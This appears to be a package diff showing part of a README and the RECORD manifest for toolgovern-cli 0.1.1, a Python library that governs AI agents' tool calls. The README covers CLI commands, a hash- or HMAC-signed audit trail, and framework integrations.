# types
|
|
257
|
+
ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
|
|
258
|
+
AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
|
|
259
|
+
)
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
## CLI
|
|
263
|
+
|
|
264
|
+
```bash
|
|
265
|
+
toolgovern-cli validate ./toolgovern.policy.yml
|
|
266
|
+
toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
|
|
267
|
+
toolgovern-cli audit ./toolgovern-trace.jsonl --json
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
`validate` and `audit` are behaviorally equivalent to the npm CLI, including the `--json`
|
|
271
|
+
structured-output envelope (`{ ok, command, data | error }`). **Not ported in this release:**
|
|
272
|
+
`toolgovern-cli init [oma|langgraph]`, the npm CLI's TypeScript integration-file scaffolder --
|
|
273
|
+
it generates a `.ts` file importing the JS/TS-only `toolgovern-integration-langgraph` /
|
|
274
|
+
`toolgovern-integration-oma` packages, which are out of scope for a Python port by nature.
|
|
275
|
+
|
|
276
|
+
## The signed audit trail
|
|
277
|
+
|
|
278
|
+
```python
|
|
279
|
+
from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
|
|
280
|
+
|
|
281
|
+
# Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
|
|
282
|
+
# but does not stop an attacker with write access to the trace file from editing an entry and
|
|
283
|
+
# recomputing a valid signature (no secret required for that scheme).
|
|
284
|
+
writer = TraceWriter("./toolgovern-trace.jsonl")
|
|
285
|
+
|
|
286
|
+
# Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
|
|
287
|
+
# does not generate, store, or rotate this key -- that's your responsibility.
|
|
288
|
+
writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
|
|
289
|
+
|
|
290
|
+
entries = read_trace("./toolgovern-trace.jsonl")
|
|
291
|
+
result = verify_chain(entries) # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
See [docs/security-model.md](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
|
|
295
|
+
for the full disclosed-limitations writeup of both signing modes.
|
|
296
|
+
|
|
297
|
+
## Framework integrations
|
|
298
|
+
|
|
299
|
+
`toolgovern-integration-langgraph` and `toolgovern-integration-oma` are npm-only TypeScript
|
|
300
|
+
packages and are not ported to this Python distribution. Both are thin wrappers around
|
|
301
|
+
`governTool()` in the TS source, so wiring `govern_tool()` directly into a Python agent
|
|
302
|
+
framework's tool-executor call site is straightforward without a dedicated adapter package.
|
|
303
|
+
|
|
304
|
+
Five real Python framework integrations exist in this repository, each wiring `govern_tool()`
|
|
305
|
+
into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
|
|
306
|
+
`wrap_tool_call` `ToolNode` parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
|
|
307
|
+
Agent SDK (using its real `PreToolUse` hook). None of these five are published to a package
|
|
308
|
+
registry yet -- each is available from source under
|
|
309
|
+
[`integrations/`](https://github.com/RudrenduPaul/toolgovern/tree/main/integrations) in the main
|
|
310
|
+
repo, with its own README and worked example. `examples/` in this directory also has a minimal,
|
|
311
|
+
framework-agnostic worked example wiring `govern_tool()` into a plain tool executor.
|
|
312
|
+
|
|
313
|
+
## Development
|
|
314
|
+
|
|
315
|
+
```bash
|
|
316
|
+
python3 -m venv .venv && source .venv/bin/activate
|
|
317
|
+
pip install -e ".[dev]"
|
|
318
|
+
pytest
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
## Security
|
|
322
|
+
|
|
323
|
+
Report a vulnerability per the project's [`SECURITY.md`](https://github.com/RudrenduPaul/toolgovern/blob/main/SECURITY.md); please don't open a public issue for one.
|
|
324
|
+
|
|
325
|
+
## Links
|
|
326
|
+
|
|
327
|
+
- [GitHub repository](https://github.com/RudrenduPaul/toolgovern)
|
|
328
|
+
- [npm package (core library)](https://www.npmjs.com/package/toolgovern)
|
|
329
|
+
- [npm package (CLI)](https://www.npmjs.com/package/toolgovern-cli)
|
|
330
|
+
- [CHANGELOG](https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md)
|
|
331
|
+
- [Getting started](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md)
|
|
332
|
+
- [Concepts](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/concepts.md)
|
|
333
|
+
- [Security model](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
|
|
334
|
+
|
|
335
|
+
## License
|
|
336
|
+
|
|
337
|
+
Apache 2.0 -- see [LICENSE](../LICENSE).
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
toolgovern/__init__.py,sha256=dO-t1nCBFAO7Cbah8bkGfWRd53t62tYe17MLzDkREZg,6218
|
|
2
|
+
toolgovern/cli.py,sha256=ewNDd0uAaGeSsPVf8KwnQzPM8jNTkUxMvDqT_lbL6eg,11780
|
|
3
|
+
toolgovern/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
4
|
+
toolgovern/types.py,sha256=n9TNZHoOPv8EjETmqgsQ9Q3ks3ZtKb3NlhyRCAxfg7g,9116
|
|
5
|
+
toolgovern/approval/__init__.py,sha256=4xEGv51n7hoju4RxSxY-2uI55j5qrlccsScB4bOfqt4,649
|
|
6
|
+
toolgovern/approval/pending_registry.py,sha256=gi6D4tzK82T9VxP74TkrqL3dEJQJ_b2YZA_S5BCXngc,18120
|
|
7
|
+
toolgovern/classifier/__init__.py,sha256=5pVHIakh51ktRbTqZVrn9ynHEA5fgVCnnDL29TxqzJc,633
|
|
8
|
+
toolgovern/classifier/credential_access.py,sha256=HXYKxluVmM_Pof3f1GUR_YIEIVyqSeVH0hK-clhueTo,6818
|
|
9
|
+
toolgovern/classifier/cross_agent_inheritance.py,sha256=5THbBnCwtZODn8EkR_h2dZuhMwDAY01NgYkATPzbNjU,8961
|
|
10
|
+
toolgovern/classifier/filesystem_scope.py,sha256=X-QCYTXWGRPNjeMwoOt0yzZvNYua3zsnPbcWUFzxiTc,7291
|
|
11
|
+
toolgovern/classifier/index.py,sha256=Db5OWjAj4wJWhACl8d54ZN0R9QVJTEo2J4BvCvZpvhc,2873
|
|
12
|
+
toolgovern/classifier/information_flow.py,sha256=pAdN803s7S9T8GTctiIrvom9blaFBjRFwGiaPqBjlV4,6810
|
|
13
|
+
toolgovern/classifier/network_egress.py,sha256=owYMj7rF0wy4GxSgx0IuRAePtZTWh1Y2oj9UGwg2XQA,11908
|
|
14
|
+
toolgovern/classifier/shell_risk.py,sha256=esdkbSypLDtY1bftOZdPTGfPN1CEwzw4WzOvcCXn9jI,14393
|
|
15
|
+
toolgovern/classifier/util.py,sha256=6XoGN4uH2qXVV6om_am7JVHNVU8YOwSGwoFWRWhD9QY,11062
|
|
16
|
+
toolgovern/mcp_trust/__init__.py,sha256=PAqJGaCNzj3kRxV9wAFHU3JYjPBQCrZJge5ZYKk13rA,15257
|
|
17
|
+
toolgovern/middleware/__init__.py,sha256=UMVkI_DHQLao3GoaFf7GZevgfXih-awqg5K9HMQ2sU4,741
|
|
18
|
+
toolgovern/middleware/idempotency_cache.py,sha256=Pc7D1iy-_YD_IRuGEZiqPxQ-GFC06ZvKJpQvO69XAWI,5123
|
|
19
|
+
toolgovern/middleware/on_tool_call.py,sha256=AmItBVfwm6bJOTUM730KX2rybcjitMRz8y1HsMI0j_U,25029
|
|
20
|
+
toolgovern/policy/__init__.py,sha256=LD3vSGO3uhh4MmLDrdo8Yv785V3HmPi3dXo96_26g9E,273
|
|
21
|
+
toolgovern/policy/load_policy.py,sha256=GsDwWLe1LEBsOOT0Nm5mYQ7g2nahZvAh2U5m47ahSNQ,1377
|
|
22
|
+
toolgovern/policy/validate_policy.py,sha256=mvEyHzD4DnEjQTsZFr5JMtXU-DLYAU-_SkJTjuxSvXI,4380
|
|
23
|
+
toolgovern/scoping/__init__.py,sha256=dyX3xVizXMrUerI3uY44pyk9dxCbD9jZP3kxSFaASMI,444
|
|
24
|
+
toolgovern/scoping/inheritance_enforcer.py,sha256=32HKoBZPawnry8kCzfM0xjRtVhMQS42yxsPl0sDRNfI,7132
|
|
25
|
+
toolgovern/scoping/scope_declaration.py,sha256=4zuaD39U4hKPGCM4ERYJEA8YX6tvt1KY36pKh23CoZg,3725
|
|
26
|
+
toolgovern/shared/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
27
|
+
toolgovern/shared/paths.py,sha256=7hVG4033ZMwrDj_w8seQx3Q3kMoI4caxYMHPFVDs3so,10453
|
|
28
|
+
toolgovern/trace/__init__.py,sha256=wnahlKsdzG3nyU15pa1zH0YVhuQJL3hAz3SyOsZU1KY,700
|
|
29
|
+
toolgovern/trace/canonical_json.py,sha256=TWGi7dXeL_vVKjKn5Sc4okaxa35lqwr4oS9fg4qPoQg,1137
|
|
30
|
+
toolgovern/trace/trace_reader.py,sha256=Q6CLnCZaCIwv7NjX5CLuXIQp33EV-9fmo5IZZPIKNzk,8274
|
|
31
|
+
toolgovern/trace/trace_writer.py,sha256=VO4knGQg8RwitFsaFTgKd2Qc23EaoIfgozodiW5eyIQ,10629
|
|
32
|
+
toolgovern_cli-0.1.1.dist-info/METADATA,sha256=AZvRhlhOjW8YHmXNSU5jYpX9KWhjEPZjJgEi9dXK5f8,18540
|
|
33
|
+
toolgovern_cli-0.1.1.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
|
|
34
|
+
toolgovern_cli-0.1.1.dist-info/entry_points.txt,sha256=TE_NbJvZZaDDE0ko6hvRzOrKHe2d8WG43jc1aUbW_f8,55
|
|
35
|
+
toolgovern_cli-0.1.1.dist-info/licenses/LICENSE,sha256=PIBQEOkE-RrLrNIDRjiIoLwhanVi_5UkYzIeyhCIr9I,11344
|
|
36
|
+
toolgovern_cli-0.1.1.dist-info/RECORD,,
|